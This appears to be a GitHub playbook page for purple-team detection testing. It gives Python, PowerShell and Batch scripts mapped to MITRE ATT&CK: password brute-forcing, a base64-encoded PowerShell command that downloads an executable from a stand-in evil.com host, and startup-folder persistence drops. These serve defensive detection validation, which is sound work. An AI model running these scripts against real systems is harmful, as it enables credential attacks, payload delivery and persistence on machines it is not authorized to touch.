Repository navigation
Purple Team Playbook Multi Platform Scripts
Integrate Python, PowerShell, and Batch scripts for realistic, multi-platform attack simulation & detection validation.
A tight, four-step scripted loop (pick a TTP โ script the attack in Python/PowerShell/Batch โ run it in an isolated lab โ check SIEM/EDR for the resulting logs and alerts). This is the script-centric variant of the purple team playbooks - where PurpleTeam_Simple.md and PurpleTeam_Detailed.md describe the exercise process and tooling ecosystem, this file is specifically about writing and running the actual attack scripts that drive detection validation, organized by scripting language/platform.
Make it fast to go from "we want to validate detection for TTP X" to an actual runnable script and a confirmed SIEM/EDR alert (or confirmed detection gap) - minimizing the time between choosing a technique and getting a real answer about your detection coverage.
- You already have a purple team process (see
PurpleTeam_Simple.md/PurpleTeam_Detailed.md) and need the actual attack script for a specific TTP - Validating detection coverage for a technique across multiple platforms/languages (e.g., confirming both a PowerShell-based and Python-based version of the same TTP get caught)
- Building a reusable library of attack scripts mapped to MITRE ATT&CK techniques for repeat testing
| Type | Tool | Example |
|---|---|---|
| Python | Custom scripts, Atomic Red Team helpers | Parse synthetic JSONL detections in an isolated fixture |
| PowerShell | Windows-native canary event generation | Emit a harmless, uniquely tagged test event on an owned Windows VM |
| Batch | Batch wrappers in a disconnected lab | Write a tagged benign command-output file, then verify expected logs |
1๏ธโฃ Pick TTP
2๏ธโฃ Script attack in Python/PowerShell/Batch
3๏ธโฃ Run in isolated lab
4๏ธโฃ Check SIEM/EDR for logs & alerts
5๏ธโฃ Tune detection
6๏ธโฃ Document and iterate
Below are practical examples for each script type.
| Item | Value |
|---|---|
| TTP ID | T1110 (Brute Force) |
| Goal | Test login failure detection |
| Method (Python) | Try multiple password attempts |
| Method (PowerShell) | Loop failed net use
|
| Method (Batch) | Automate repeated auth attempts |
import requests
from requests.auth import HTTPBasicAuth
users = ["admin"]
passwords = ["1234", "password", "admin"]
for user in users:
for pwd in passwords:
r = requests.get(
"http://target/login",
auth=HTTPBasicAuth(user, pwd)
)
print(f"{user}:{pwd} -> {r.status_code}")# Attempt network share connection with bad creds
$User = "admin"
$Passwords = @("1234", "password", "admin")
foreach ($pwd in $Passwords) {
net use \\target\IPC$ /user:$User $pwd
}@echo off
set USER=admin
set PASSWORDS=1234 password admin
for %%P in (%PASSWORDS%) do (
net use \\target\IPC$ /user:%USER% %%P
)| Item | Value |
|---|---|
| TTP ID | T1059 |
| Goal | Test detection of obfuscated PowerShell |
| Method (PowerShell) | Base64-encoded command |
| Method (Batch) | Spawn PowerShell with encoded script |
# Encoded command to download file
$Command = 'Invoke-WebRequest -Uri http://evil.com/bad.exe -OutFile C:\temp\bad.exe'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
$Encoded = [Convert]::ToBase64String($Bytes)
powershell.exe -EncodedCommand $Encoded@echo off
REM Spawn PowerShell with encoded download command
powershell.exe -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AYgBhAGQALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOgBcAHQAZQBtAHAAXABiAGEAZAAuAGUAeABl(This string is the UTF-16 base64 version of Invoke-WebRequest ... above - can regenerate as needed.)
| Item | Value |
|---|---|
| TTP ID | T1547 |
| Goal | Validate detection of new startup entries |
| Method (Batch) | Drop script in startup folder |
@echo off
REM Create a malicious batch file in startup folder
echo @echo Malicious Run >> %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\evil.bat# Drop a startup script
$Path = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\evil.ps1"
Set-Content $Path "Start-Process notepad.exe"import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
syslog_server = ("192.168.1.100", 514)
message = "<134> LAB TEST: Detected Evil Activity!"
sock.sendto(message.encode(), syslog_server)
sock.close()| Field | Example |
|---|---|
| TTP | T1110 |
| Goal | Validate brute force detection |
| Tool | Python + PowerShell + Batch |
| Log Source | Auth logs |
| SIEM Rule | Multiple failed logins |
| Result | Pass |
| Notes | Lockout threshold adjusted |
Store:
/scripts/python//scripts/powershell//scripts/batch//docs/playbook.md
Use git so you track edits & additions over time.
IMPORTANT: These tools are for authorized security testing only. Unauthorized use is illegal.
- Marauder Use: Get written permission before testing any network. Only test networks you own or have explicit authorization to test.
- Cracking Use: All cracking attempts (Hashcat) must be done in an isolated lab environment against hashes you are authorized to possess.
- Legal Compliance: Strictly comply with all local laws and regulations.
Legal Use Cases:
- Penetration testing with client authorization.
- Testing your own home or lab network security.
- Security research in isolated lab environments.
- README.md - PlayBooks section index
๐ Source: PlayBooks/PurpleTeam_Multi-Scrip.md | โ๏ธ Suggest an edit | โฌ
๏ธ Back to Playbooks
- ๐บ๏ธ Browse by Topic
- ๐ All Repository Files
- ๐งญ Learning Paths
- ๐ Master Guide
- ๐ค Glossary
- โ๏ธ Legal & Disclaimer
๐ Foundations & Learning
๐ก๏ธ Defense & Investigations
- Incident Response
- Open Source Intelligence (OSINT)
- Reverse Engineering
- Operations Security (OPSEC)
- Compliance
โ๏ธ Platforms & Infrastructure
๐ก Hardware, Wireless & Field Projects
- PNWC Cyberdeck
- Hardware Testing
- Hardware Hacking
- Software-Defined Radio
- Wardriving
- uConsole
- Space Security
๐งฐ Assessment & Field Reference
๐ฆ Downloads & Project Resources
๐๏ธ Additional Topics